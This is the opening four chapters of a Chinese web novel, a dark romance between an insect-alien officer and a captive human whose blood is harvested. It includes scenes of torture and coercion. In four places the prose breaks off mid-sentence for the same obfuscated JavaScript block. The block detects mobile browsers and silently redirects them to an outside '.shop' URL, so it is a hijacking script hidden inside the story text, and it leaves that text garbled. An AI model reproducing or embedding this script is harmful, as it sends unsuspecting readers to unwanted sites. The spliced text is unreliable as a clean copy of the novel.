《剧毒拟体『虫族』》 1. chapter1 血月悬在废墟之上,像某些影片中末世实景。 这是人类与虫族达成协议后的第七次交割。 每个月圆之夜,收容营的闸门会打开,三十名“养料”被押送至中立区,交换虫族承诺的克制——不进攻,不掠夺,不将这座城市的残垣断壁再碾碎一次。 承诺很脆弱。 就像此刻站在铁丝网前的男人。 谢迟衍。 瑟摩迦在名单上见过这个名字,但名字只是符号。 他更熟悉的是鲜血的气味,是脉搏在针尖下跳动的频率,是恐惧凝结成汗珠滑过皮肤的声音。 作为军雌,他执行过上百次交割任务,从未出过差错。 虫族不需要情感,只需要效率。 但这个人类不一样。 他站在三十个囚徒的最后,脊骨笔直,像一柄插进雪地的断刃。 其他人或是颤抖,或是瘫软,或是已经眼神涣散。 只有他,目光平直地投向远方——不是看向虫族的阵营,而是看向已不复存在的星空。 那种眼神不是求死,而是早已超越了死亡本身。 瑟摩迦的触角在空气中轻轻震动。 他能捕捉到每一个生物的激素波动,恐惧、绝望、哀求,像杂乱的声波在他脑中嗡鸣。 而那个男人,他的信息素是冷的,像封冻的湖面,湖面下有什么在燃烧,却被死死压住。 “大人,”副官低声提醒,“时间到了。” 瑟摩迦没动。他依然注视着那个男人。 男人似乎察觉到了目光,眼睑微动,视线终于偏移,与瑟摩迦对上。 那一秒,风声静止。 瑟摩迦见过无数双眼睛,人类的,虫族的,濒死的,癫狂的。 但从未有谁能将“不屈”二字演绎得如此寂静。 男人没有挑衅,没有憎恨,只是看着他,像在看一块石头,一根枯枝,一个必然存在于宇宙中、却不值得投注情绪的事物。 这反而让瑟摩迦感到一种奇异的——被冒犯。 “那个。”他抬了抬下巴,声音低沉如地底岩层摩擦。 副官顺着方向看去,立刻会意,“谢迟衍,D级人类,23岁,前军校学员。被捕时曾试图引爆能源站,失败。后续审讯中……” “没让你念档案。”瑟摩迦打断他,语气听不出情绪。 但他身后的翅膀微张,这是不耐烦的前兆。 副官立刻噤声。 交割的流程早已程式化。 人类方交出囚徒,虫族抽取首份血液样本,验证基因纯度与营养等级。 合格品带回虫巢,不合格者当场淘汰——淘汰意味着成为公共血库,在十秒内被抽干。 瑟摩迦亲自走下高台。 他很少这样做。 通常交割只需副官处理,但他今天想近距离看看那双眼睛的主人。 军靴踏过沙石,发出细碎的碾压声。 每一步都让蜷伏的人类颤抖得更厉害。 只有谢迟衍,依然挺直身板,仿佛只要弯下,就失去了某些重要的东西,许是他作为军人的骄傲,亦或是他自欺欺人的荣誉,都让他即便面临再大事故也能泰山崩于前而不改色。 近了,瑟摩迦才发现他比想象中更清瘦,囚服下的肩胛骨轮廓分明,但那种瘦不是虚弱,是绷紧的弦。 “名字。”瑟摩迦停在他面前,饶有兴致地问。 谢迟衍抬眼,目光在他脸上短暂停留,然后移开,仿佛回答问题都是一种施舍。 “谢、迟、衍。”副官在一旁念出,生怕大人动怒。 但瑟摩迦没有动怒,他反而笑了一下。 “人类,你知不知道,”他俯身,用只有两人能听见的声音说,“你的骨气在虫族看来,只是优质血液的象征?” 谢迟衍终于开口。 他的声音比目光更冷,像淬过火的刀,“那你们虫族的优越感,在我看来也只是——” 他的视线终于落在瑟摩迦脸上,“——寄生虫的振翅。” 空气凝固。 一旁副官的刀肢已弹出鞘,就要削断这不敬者的头颅。 但瑟摩迦抬手制止了他。 “很好。”他说。 然后,他伸出指尖,轻点谢迟衍的额头。 这是标记。 在虫族仪式中,意味着“我有意取走你”。 在场的所有人类都倒吸一口冷气,被军雌亲自标记的养料,通常意味着—— 漫长的折磨。 但谢迟衍纹丝不动,连瞳孔都没收缩。 他只是平静地闭上眼,像在迎接早已写定的结局。 瑟摩迦收回手,转身走向高台。 他声音恢复公事公办的冷漠:“开始抽样。” 副官开始念名字,每念一个,便有一名人类被拖上前,跪在地上,脖颈被固定在抽血器的金属环中。 机械针头精准刺入颈动脉,血液被真空抽取三管,每管十五毫升。 不多不少,刚好是“检验标准”。 整个过程静得可怕。 只有针尖刺破皮肤的声音,和血液流入试管的汩汩声。 谢迟衍是最后一个。 他被押上前时,瑟摩迦已从高台走下,站在抽血器旁。 副官愣了一下,但不敢质疑。 “大人,这是人类最低等的D级,”副官小心翼翼,“血液营养值可能……” “我知道。”瑟摩迦接过针头,修长的手指在月光下泛着冷光。 他亲自调试了抽取量,从四十五毫升,调到了一百毫升。 这不是抽样,是惩罚。 他捏住谢迟衍的下颌,强迫他抬起头。 男人的皮肤很凉,像摸一块冷玉。 那双眼睛终于有了一丝波动——不是恐惧,是厌恶。厌恶被触碰,被支配。 “你可以挣扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231220|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”瑟摩迦低声道,“挣扎会让血液流速加快,更有趣。” 谢迟衍没说话,只是用那种看石头的眼神,看着他。 瑟摩迦突然感到一阵烦躁。 他不喜欢这种无法被读取的情绪。 他更喜欢恐惧,喜欢哀求,喜欢那些清晰的、可以被掌控的波动。 而这个男人,像一团雾,像一面镜子,反射出他作为“掠夺者”的丑陋。 针头刺入的瞬间,谢迟衍的睫毛颤了一下。 很细微,但瑟摩迦捕捉到了。 他几乎是恶意地放慢动作,让针尖在血管壁上轻轻刮擦。 人类的那种痛,他知道。虽然不致命,但足够让人痉挛。 但谢迟衍只是闭上了眼,呼吸平稳得像在睡觉。 血流进试管,深红,微稠,在月光下泛着奇异的光泽。 瑟摩迦看着那颜色,不知为何,想起母星上最后一片枫叶林。 那是他幼年时仅存的温柔记忆。后来枫叶林被酸雨蚀尽,就像他的族群蚀尽了自己星球的最后一滴养分。 一百毫升抽完,他本该松开。 但他没有。 他的指尖还压在针孔处,感受着皮肤下脉搏的跳动。 一下,两下,三下。 每一下都那么清晰,像倒计时。 “你恨吗?”他忽然问。 谢迟衍睁开眼,似乎觉得这个问很可笑,“我该感激?” “恨,至少证明你还活着。”瑟摩迦收回手,将血样放入恒温箱,“麻木的养料,血液是酸的。” 他转身离开,走了两步,又停下。 “把他分到我的直属区。”他说。 副官震惊:“大人,直属区的养料都是S级……” “他值S级。”瑟摩迦没回头,翅膀在月色下展开,投下巨大阴影,“我说他值,他就值。” 谢迟衍依然跪在地上,脖颈的针孔还在渗血,像一颗朱砂痣。 他看着瑟摩迦远去的背影,第一次露出了一个极淡的表情。 那不是一个笑容。 那更像是一种确认——确认对方已经踏入了自己布下的局。 *** 交割结束,血月西沉。 瑟摩迦回到自己的巢穴,将那管血液取出,置于分析台。 数据很快呈现:D级,基因纯度低,营养值中等偏下。 各项指标都远达不到S级标准。 但他盯着那管血液看了很久,久到副官在门外催促第三次行动会议。 他伸出指尖,蘸了一滴,放入口中。 味道出乎意料地干净。 没有恐惧的酸涩,没有绝望的腐败。 只有纯粹的、冰冷的铁锈味,像封存的刀锋。 他忽然明白了—— 那不是D级的劣等品。 那是一瓶未被污染的,倔强的人类。 而他最擅长污染。 2. chapter2 直属区在虫巢第三层。 这里没有关押养料常用的晶格囚室,反而更像某种……洞穴。 穹顶高悬,暗红色的脉络在岩壁上缓慢搏动,像巨大的血管。 空气中弥漫着淡淡的血腥与信息素混合的气味,无处不在,又无从躲避。 谢迟衍被推进来时,手腕上的电磁锁已经换成了生物镣铐——两条活体触须,冰凉黏腻,一端扣在腕骨,另一端没入虚空,随时能收紧到捏碎骨头。 他站在洞穴中央,环顾四周。 没有床,没有桌椅,只有中央一个凹陷的血池,池水呈暗琥珀色,表面浮着一层薄薄的银辉。 那是经过处理的液态信息素,供高阶虫族安抚精神力。 他只看了一眼,就明白这是什么地方。 这不是养料区。 这是某个高阶军雌的私人领地。 “你倒是不慌。” 瑟摩迦的声音从洞穴深处传来,带着轻微的空间回响。 他换下了外出的军装,只着一件黑色作战背心,露出肌肉线条分明的上半身。 虫族的特征更加明显——肩胛骨下方,半透明的翼膜收束成两道银灰色痕迹,在暗光下泛着冷芒。 “慌能改变什么?”谢迟衍平静地问。 他的声音在洞穴里激起细微的回音,与瑟摩迦的语调微妙地重叠,像两把刀轻轻相击。 瑟摩迦走进血池边缘,脚尖轻点水面,涟漪荡开,银辉破碎。 他朝谢迟衍招手,动作随意得像召唤宠物:“过来。” 谢迟衍没动。 瑟摩迦的触角在空气中颤了颤。 他能清晰地感知到,这个人类没有恐惧激素,没有顺从波动,甚至连敌意都内敛成一块冰。 这让他莫名烦躁——他习惯了支配,习惯了掌控,习惯了一个眼神就让养料瑟瑟发抖。 但这个人,他的“不听话”不是反抗,是无视。 瑟摩迦决定把“无视”打碎。 他指尖微动,谢迟衍腕上的生物镣铐瞬间收紧。 剧痛袭来,骨骼发出脆弱的呻吟。 谢迟衍闷哼一声,身体失去平衡,单膝跪地。 但他没有惨叫,也没有哀求,只是用另一只手撑住地面,而后缓慢地、再次站直。 额角已经渗出冷汗,但他的眼神依然平直。 “有意思。”瑟摩迦低声说,像自言自语。 他走向前,每一步都踩在谢迟衍的脉搏上。 当他站定在谢迟衍面前时,身高差距带来绝对的压迫感。 他伸手,这次不是捏下颌,而是直接扣住了谢迟衍的后颈。 虫族的掌心温度偏高,抚慰般搭在后颈。 “人类,你知不知道直属区意味着什么?” “意味着,”谢迟衍被迫前倾,两人距离近到呼吸交错,“我成了你私人的血包。” “不止是血。”瑟摩迦的手指缓慢摩挲着他颈侧的皮肤,那里是颈动脉,是今晚被刺穿的地方。 痂痕还在,微微凸起,“直属区的养料,要随叫随到。血液、腺□□、甚至——” 他故意停顿,翅膀微微展开,信息素浓度瞬间提升,“精神力安抚。” 这是虫族求偶时才有的行为。 谢迟衍的瞳孔终于缩了一下。 不是恐惧,是生理性厌恶。 他能闻到那股信息素的味道,像铁锈混着冰川,强势地侵入鼻腔,试图诱发服从。 “恶心。”他轻声说。 瑟摩迦笑了。 这是他今晚第二次笑。 笑容里带着恶劣的愉悦,“恶心?那就记住这个味道。以后每一天,你都要习惯它。” 他松开手,转身走向血池另一侧的石台。 台上摆放着一套精密器械,银质的,泛着冷光。 “过来。”他第二次说。 这次谢迟衍知道,不过去,镣铐会把他腕骨捏成粉末。 他走过去,脚步很稳,但每一步都在评估环境——洞穴结构、出口位置、瑟摩迦的习惯动作。 “躺上去。”瑟摩迦指了指石台。 谢迟衍没有犹豫。 台石冰凉,贴合人体曲线,两侧有固定用的扣环。 他躺下,主动将手腕放入环中。咔哒一声,扣环自动锁死。 瑟摩迦挑眉,“很熟练。” “军校基础课。”谢迟衍闭上眼,“急救台的操作。” “急救?”瑟摩迦调试针头,声音带着讽刺,“你们人类管这叫急救?” “对将死之人,任何操作都是急救。” 针头刺入的瞬间,谢迟衍的身体微僵。 瑟摩迦的动作比机器更精准,但也更慢,慢得像在享受皮肤被刺破的过程。 “你在算时间。”瑟摩迦忽然说。 谢迟衍没睁眼。 “从我进洞穴开始,一共七分三十秒。”瑟摩迦将导管接入试管,血液开始流淌,“你在算我多久放松警惕,多久露出破绽,多久——” 他俯身,气息拂过谢迟衍的耳廓,“会忍不住咬破你的喉咙。” 谢迟衍的眼睫颤了颤。 这是今晚他最接近“被看透”的时刻。 但他依然没说话。 “不说话,是因为默认?”瑟摩迦的指尖沿着导管滑动,最终停在他心口,“还是因为我猜对了?” 他感受到掌心下的心跳,平稳,有力,每分钟七十二次。 不像其他养料,在抽血时会飙升到一百二、一百五。 这个人类,连心跳都会控制。 “你的破绽,”谢迟衍终于开口,声音平静得像在陈述天气,“在抽血后三十秒。你会盯着自己的指尖,嗅闻血液残留的气味。这是成瘾表现。” 瑟摩迦的动作顿住了。 他确实有这个习惯。 所有军雌都有。 高纯度血液带来的精神力安抚,是母星贫瘠后唯一的慰藉。 但从未有人敢当面指出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231221|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “人类,”他缓缓说,声音低得像威胁,“你知道得太多了。” “我知道的,”谢迟衍睁开眼,第一次主动对上他的目光,“远不止这些。” 那双眼睛里,终于有了一丝情绪。 不是恐惧,不是厌恶,是一种深不见底的……悲悯。 像在可怜一个即将坠入陷阱的捕食者。 瑟摩迦的触角猛地竖起,精神力瞬间外放,整个洞穴的温度骤降。 他掐住谢迟衍的喉咙,翅膀完全展开,信息素浓度提升到危险阈值。 “你想激怒我?” “我想让你思考。”谢迟衍被掐得呼吸困难,但声音依然清晰,“你抽我的血,是为了奉献给虫王。可如果有一天,虫王发现——” 他停顿,嘴角竟极轻地弯了一下。 “——你的血液里,混了我的毒呢?” 瑟摩迦瞳孔骤缩。 他猛地松开手,后退一步,看向自己的指尖。 那里沾着一滴血,是刚才调试针头时留下的。 在暗光下,那滴血呈现出诡异的、极其微弱的荧光蓝。 那是虫族基因融合初期的表现。 但这个人,注射基因才三天。 按照常理,至少需要三个月才会显现。 谢迟衍躺在石台上,被锁住,被抽血,处于绝对劣势。 但他的眼神,像是在审讯。 “你给自己注射了催化酶。”瑟摩迦几乎是从齿缝间挤出这句话。 “你教我的。”谢迟衍轻声说,“军雌的抽血动作,会留下0.3毫升的残留。积少成多,七天,足够我收集到足够的……样本。” 洞穴陷入死寂。 只有血液滴落的声音,每一秒都是在倒数。 瑟摩迦盯着他,忽然大笑起来。 笑声在洞穴里回荡,震得岩壁上的脉络都在颤动。 他笑得几乎弓起腰,笑得翅膀都在拍击空气。 “人类,”他笑够了,抹掉眼角并不存在的泪,“你真是——” 他俯身,亲吻般地在谢迟衍耳边低语: “——我见过的,最疯的疯子。” 然后他直起身,拔出针头,动作粗暴。 血液溅了一滴在他手背上,他舔掉,像品尝什么佳肴。 “催化酶会让你生不如死。”他恢复了冷漠的语调,“接下来的十二小时,你的基因链会反复断裂、重组。你会求我杀了你。” “我不会。”谢迟衍平静地说。 “你会。”瑟摩迦转身走向洞穴出口,翅膀收束,声音越来越远,“而我,会坐在这里,” 他指了指血池边的石椅,勾起嘴角,“——欣赏你挣扎的样子。” 门关闭。 洞穴只剩谢迟衍一人,被锁在石台上,血液慢慢凝固。 他闭上眼,呼吸终于出现了一丝颤抖。 不是害怕。 是疼。 因为,催化酶开始起效了。 3. chapter3 痛苦像潮汐,有它自己的呼吸。 第一浪涌上来时,谢迟衍以为那是岩浆灌进血管。 他躺在石台上,镣铐早已自动松开,但他没有动。 身体凝固成一尊雕塑,只有指尖在微颤,像风中的枯草。 基因链在断裂。 他能感觉到,那些双螺旋结构被催化酶撕扯成碎片,又在虫族基因的侵略下重组。 每一片断裂都伴随着神经末梢的尖叫,每一次重组都像钝刀刮骨。 这不是人类能承受的痛苦,甚至连虫族低阶士兵在基因改造时都会被麻醉。 但谢迟衍没有发出声音。 他睁着眼,瞳孔扩散成深不见底的黑,映出洞穴顶端暗红的脉络。 那些脉络在搏动,像巨型生物的内脏,每一次搏动都与他的心跳同步。 不,不是同步。 是吞噬。 他的心跳正被这个洞穴同化,成为虫巢脉搏的一部分。 瑟摩迦坐在血池边的石椅上,姿势懒散,像在看一场无聊的戏剧。 他手里转着那支空了的注射针管,银光在指间翻飞,偶尔折射到谢迟衍惨白的脸上。 “第47分钟。”他忽然开口,声音在空旷的洞穴里激起细微涟漪。 谢迟衍没反应。 他的意识正被撕裂成无数碎片,每一块都载着一个记忆片段—— 2033年,他七岁,在孤儿院的后山发现一只濒死的蝴蝶。 蝴蝶翅膀上有蓝色的荧光斑纹,他以为是漂亮。 院长告诉他,那是寄生虫的卵,你看到的美,是别人的死亡孵化器。 2041年,他十五岁,军校第一次解剖课。导师切开虫族俘虏的胸腔,指着那颗六心房的心脏说:“看,它们的血液是冷的,所以不会爱,只会掠夺。” 他当时问:“那我们呢?我们的血是热的,为什么也在掠夺同类?” 导师闻言给了他一个耳光。 2049年,他二十三岁,能源站被围。 他引爆了反应堆,不是为了杀敌,是想给自己留个全尸。 但虫族的干扰波中止了链式反应。他活了下来,作为俘虏。 记忆碎片在剧痛中重组,像一只寄生虫的茧,将他包裹。 第二浪涌上来时,他喉咙里溢出一声闷响。很轻,像琴弦断裂的余音。 瑟摩迦的触角猛地竖直。 他能感知到养料的情绪波动,痛苦、绝望、求饶,这些信号像甜美的蜜糖,能安抚他作为军雌常年征战的精神创伤。 但谢迟衍的痛,是哑的,是封在冰层下的火,烧不灼人,却烫得他精神触角隐隐作痛。 他站起来,走到石台边,居高临下地看着这个人类。 谢迟衍的皮肤开始呈现一种诡异的透明感,青色的血管清晰可见,血管里似乎有银蓝色的光在游动。 那是虫族基因与人类基因在搏杀的痕迹。 “求我。”瑟摩迦忽然说,声音低沉得像诱惑,“求我,我就给你镇痛剂。” 谢迟衍的眼珠缓慢转动,聚焦在他脸上。 开口时,嘴唇已经干裂出血,“镇痛剂……会稀释……毒性。” 瑟摩迦一怔。 都这种时候了,他还在计算毒性浓度。 他把自己的身体当成培养皿,把痛苦当成武器,把基因污染当成唯一的筹码。 疯子。 瑟摩迦忽然伸手,按在谢迟衍的胸口。 掌心下的心跳快得惊人,每分钟逼近二百。 人类的极限是一百八,过了就是心肌溶解。 但谢迟衍的心脏没有崩溃,反而在疯狂中保持着一种诡异的节奏。 那节奏是—— 三长,一短。三长,一短。 摩斯密码。 S.O.S. 但不是求救,是标记。 他在用心脏跳动标记时间,标记痛苦的峰值,标记自己还活着。 瑟摩迦收回手,后退一步。 他看着这个被锁在石台上、被基因撕裂、被痛苦淹没的人类,忽然意识到一件事——他不是猎物,他是诱饵。 而自己,已经咬钩。 “大人。”副官的声音在洞穴外响起,带着迟疑,“虫王召见。今晚的养料血液……” “说我不在。”瑟摩迦打断。 副官沉默了一下,“……血液样本,需要送过去吗?” 瑟摩迦看向石台上那几管凝固的血样。 按照规定,直属区的养料,第一次抽血必须送检,由虫王亲定等级。 但他改变了主意。 “不必。”他说,“这个,我亲自处理。” 副官不敢再问,脚步声远去。 洞穴重新陷入寂静,只剩痛苦的呼吸声。 谢迟衍的意识开始漂浮,他感觉自己分裂成两个。 一个躺在石台上,被基因撕裂,另一个飘在洞穴上空,冷冷地看着这一切。 他看到瑟摩迦坐在他身边,看到他银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231222|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰色的触角在空气中试探性地、小心翼翼地触碰自己的额头。 那触碰很轻,像雪花落在烧红的铁上,瞬间融化。 他听到瑟摩迦自言自语,声音低到像在说给自己听: “……为什么这么倔?” 然后是一声极轻的叹息,像风穿过废墟。 谢迟衍想笑,但嘴角无法牵动。 他想说,因为我如果屈服了,我就不是我了。 我就成了你们,成了掠夺者,成了寄生虫的巢。 但他什么也没说,只是任由第三浪痛苦涌上来。 这一次,他失去了意识。 *** 他醒来时,发现自己浸在血池中。 池水是温的,包裹着身体,像子宫。 虫族的信息素味道更浓了,但不是瑟摩迦那种铁锈混着冰川的气息,而是更古老,更混沌的味道——是虫巢本身的味道。 他睁开眼,看到瑟摩迦坐在池边,下半身浸在水中,上半身靠在岩壁,似乎睡着了。 那双银灰色的翅膀垂落下来,一半没入池水,像折断的月光。 谢迟衍想动,却发现自己的手腕被松开,但取而代之的是—— 瑟摩迦的尾巴。 虫族的尾巴,骨节分明,末端有细小的倒钩。 此刻正圈着他的手腕,不紧,但绝对无法挣脱。 那是虫族在极度疲惫或受伤时,本能寻求安抚的姿态。 他在用谢迟衍当“锚”,防止自己在睡梦中精神力暴走。 谢迟衍看着那张睡着的脸。 褪去了醒时的暴戾与控制,瑟摩迦的五官轮廓显得很干净,甚至有些……脆弱。 像一个疲惫的士兵。 他忽然想起副官的话,“大少主对那个人类爱的要死要活。” 当时他觉得荒谬。 现在,他忽然明白了什么。 不是爱。 是瘾。 是清醒者遇见另一个清醒者时,那种无法掌控、无法读取、无法摧毁的——致命吸引。 他抬起没被束缚的手,指尖悬在瑟摩迦的额心,那里是虫族的精神核心。 只要轻轻一刺,用指甲划破皮肤,催化酶就会通过伤口侵入。 一个睡着的军雌,毫无防备。 但他没动。 他只是收回手,重新闭上眼,任由池水托着身体,在虫巢的脉搏中沉浮。 与此同时窗外,血月正在西沉。 新的一天要来了。 4. chapter4 谢迟衍是被一阵低沉的嗡鸣声唤醒的。 那是虫巢的晨祷,数以万计的虫族在同一频率振动翅鞘,声音从地底深处传来,像一颗巨大心脏的舒张。 他睁开眼,发现自己仍在血池中,但池水已经凉透,变成了黏稠的暗红色胶质。 瑟摩迦不在。 昨晚圈住他手腕的尾巴也消失了,只在皮肤表面留下一圈淡红色的痕,像被藤蔓勒过的痕迹。 谢迟衍抬起手腕,用指尖触碰那道痕,触感微凸,有细小的鳞片质感——那是虫族信息素残留,正在缓慢渗入他的皮下组织。 他收回手,平静地从池中站起。 水声沥沥,在空旷的洞穴里显得格外清晰。 他的囚服湿透了,贴在皮肤上,勾勒出瘦削的骨架。 但基因催化后的身体似乎有了细微变化,肌肉线条更流畅,皮肤下的血管泛着极淡的银蓝色。 他没死。 不仅没死,反而感觉……更清醒了。 痛觉变得迟钝,五感却异常敏锐。 他能闻到洞穴岩壁上每一个孔隙里散发的信息素气味,能听到地底千米外幼虫破茧的颤动,能看到光线中漂浮的尘埃里,每一颗孢子都在缓慢分裂。 他变成了半虫。 但也成了更致命的毒。 洞穴门打开,副官站在门口,眼神复杂,“大人让你去见他。” 谢迟衍没问“大人”在哪。 他跟着副官走出直属区,第一次进入真正的虫巢内部。 通道是活的。 两侧的墙壁由暗红色肌肉组织构成,遍布着密密麻麻的血管,脉搏在表层下涌动,像无数条蚯蚓在蠕动。 每隔百米,就有一个巨大的腔室,里面悬挂着透明的茧,茧中是人类,或是半虫化的养料,正通过脐带般的管子向虫巢输送血液。 谢迟衍走过时,那些人类的眼珠会缓慢转动,看向他。 眼神空洞,像被抽干的井。 他目不斜视,脊背笔直。 副官忍不住侧目。 他带过上百个养料进虫巢,没有一个能保持这种姿态。 大多数的腿在踏进第一步就软了,有的会呕吐,有的会失禁。 而这个人类,像走在自家的走廊。 “你不怕吗?”副官忍不住问。 “怕。”谢迟衍说,“但怕能让它们停止蠕动吗?” 副官语塞。 他忽然明白大人为什么对这个人类如此……特殊。 这不是骨气,是清醒到极致的残忍。 对自己残忍,对周围残忍,对整个世界都残忍。 他们来到虫巢核心。 那是一个巨大的球形腔室,直径足有千米,穹顶高得看不见尽头。 中央悬浮着一个血红色的肉球,表面布满孔洞,每个孔洞都在呼吸,喷吐着淡金色的雾气。 虫王。 没有实体,或者说,整个肉球都是实体。 它是虫族意识的集合体,是族群的母亲,也是最高意志。 所有军雌的精神力都连接于此,所有命令都从这里发出。 瑟摩迦跪在肉球下方,银灰色的翅膀垂落,触须低伏。 他在汇报昨夜交割的血样数据,但谢迟衍能听出,他刻意省略了自己的名字。 “直属区的样本,”虫王的声音从肉球深处传来,像千万个声音重叠,“为何未送检?” 瑟摩迦的脊背微僵,“属下认为,D级血液,不值得打扰您的沉眠。” “D级?”虫王的孔洞开始收缩,像是在嗅闻什么,“不,我闻到了……不一样的味道。” 金色的雾气忽然转向,朝谢迟衍涌来。 雾气触碰到他皮肤的瞬间,他感到大脑被无数根针刺入。 那是精神力的扫描,粗暴,直接,毫无隐私可言。 瑟摩迦猛地抬头,翅膀瞬间张至最大,信息素不受控制地释放,“陛下!” 这是僭越。 军雌在虫王面前释放信息素,等同于拔刀相向。 但虫王没动怒。 相反,那些金色雾气更兴奋了,它们缠绕着谢迟衍,像毒蛇在确认猎物的温度。 “有趣,”虫王的声音变得粘稠,像涎水拉丝,“人类的壳,虫的核。还有……” 雾气忽然聚向他手腕上的那道红痕,“……军雌的毒。” 整个腔室陷入死寂。 所有跪伏的军雌都抬起头,看向谢迟衍,眼神从漠视变成了贪婪。 军雌的毒,意味着高浓度的信息素标记,意味着这是某个高阶军雌的“私有物”。 而私有物,在虫族法则里,是可以被挑战夺取的。 瑟摩迦的脸色彻底沉了下去。 他站起来,一步跨到谢迟衍身前,翅膀完全展开,将他挡在阴影里。 这是一个绝对的保护姿态,也是一个宣战姿态。 “陛下,”他声音冷得像冰,“这是我的直属养料。” “你的?”虫王笑了,声音像指甲刮过玻璃,“瑟摩迦,你什么时候也学会了人类的占有欲?” “不妨碍他的血液质量。” “质量?”虫王的金雾忽然凝聚成实体,化作一只巨大的眼睛,悬停在瑟摩迦面前,“他的血液里,有催化酶。他主动污染自己,要成为我们的一员。但你……” 那只眼睛转向瑟摩迦,“……却在阻止他完全转化。” 瑟摩迦的触须剧烈颤抖。 他确实在阻止。 昨晚在血池中,当谢迟衍基因链崩溃时,他用自己的精神力包裹住那些断裂的链,强行缝合,阻止了虫族基因的彻底吞噬。 这不是慈悲,是更卑劣的私心——他要他保持“人类”的部分,要他继续清醒,要继续那种……让他上瘾的“毒”。 “你在养宠物,”虫王下了定论,“而不是养料。” 话音落下的瞬间,整个腔室的军雌都骚动起来。 宠物,是虫族最低贱的词汇,意味着将资源浪费在无意义的情感上。 瑟摩迦沉默了三秒。 然后,他做出了一个让所有人都震惊的动作。 他伸手,抓住谢迟衍的后颈,将他按跪在地。 自己则单膝跪下,保持着绝对的支配姿态。 “陛下教诲得是。”他说,声音听不出情绪,“那么,恳请陛下允许我——” 他停顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231223|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖在谢迟衍颈侧摩挲,那里是动脉,是致命处,“——亲自为他完成最终转化。他的毒性,只有我能萃取。” 这是请求,也是交易。 用“最终转化”的忠诚,换取“私有物”的合法化。 虫王凝视着他们,金雾构成的眼睛缓慢旋转。 许久,它发出一声满足的叹息: “准。” 雾气散去,腔室恢复昏暗。 瑟摩迦松开谢迟衍,站起身,没看他一眼,径直走向出口。 副官立刻上前,重新给谢迟衍扣上生物镣铐,但这次,镣铐的另一端连接在瑟摩迦的腰带上。 他们一前一后走出核心,像锁链的两端。 直到回到直属区的洞穴,瑟摩迦才停下。 他猛地转身,将谢迟衍推在岩壁上,翅膀张开到极限,信息素狂暴地压下来。 “你故意的。”他咬牙,银灰色的眼睛里翻涌着暴怒,“你故意让虫王闻到催化酶的味道。” 谢迟衍的后脑撞在岩壁上,眼前发黑,但他笑了。 那是他第一次真正意义上的笑。 “我赌对了。”他说。 “赌?”瑟摩迦的手指几乎嵌入他肩膀,“你拿命赌我会保你?” “不。”谢迟衍直视他的眼睛,那双眼里没有得意,只有平静的疯狂,“我拿命赌——你会上瘾。” 空气霎时凝固。 瑟摩迦的呼吸停了一瞬。 他看着这个被按在墙上、镣铐加身、基因污染的人类,忽然意识到,自己所有的暴躁、愤怒、占有欲,都被他算得清清楚楚。 他在用痛苦喂养他。 用毒性迷惑他。 用清醒,诅咒他。 “谢迟衍,”他第一次叫他的名字,一字一顿,“你会死得很惨。” “那一定是,”谢迟衍轻声回应,“死在你手里。” 瑟摩迦二话不说猛地吻了下去。 不是吻,是撕咬。 犬齿刺破嘴唇,血液混着唾液,铁锈味在口腔丝丝缕缕蔓延开。 他不是在吻他,是在确认毒性,是在用疼痛标记所有权,是在将这个人类的清醒,咬碎了吞下去。 谢迟衍没反抗。 他承受了这个吻,甚至回应了——用更锋利的牙齿,咬破了瑟摩迦的舌头。 血腥味顿时更浓了。 他们分开时,嘴角都挂着血丝,像两头撕咬后的兽。 瑟摩迦用拇指擦掉他唇边的血,声音带着沙哑: “从今天起,你每活一天,都要问过我。” “好。”谢迟衍说。 “你每流一滴血,都要我允许。” “好。” “你每次呼吸——”他顿了顿,眼睛眯起,“——都要带着我的味道。” 谢迟衍看着他,忽然伸手,指尖碰了碰他银灰色的触角。 那是虫族最敏感的部位,也是绝对禁止触碰的禁区。 瑟摩迦的身体瞬间僵直,翅膀不受控制地颤抖。 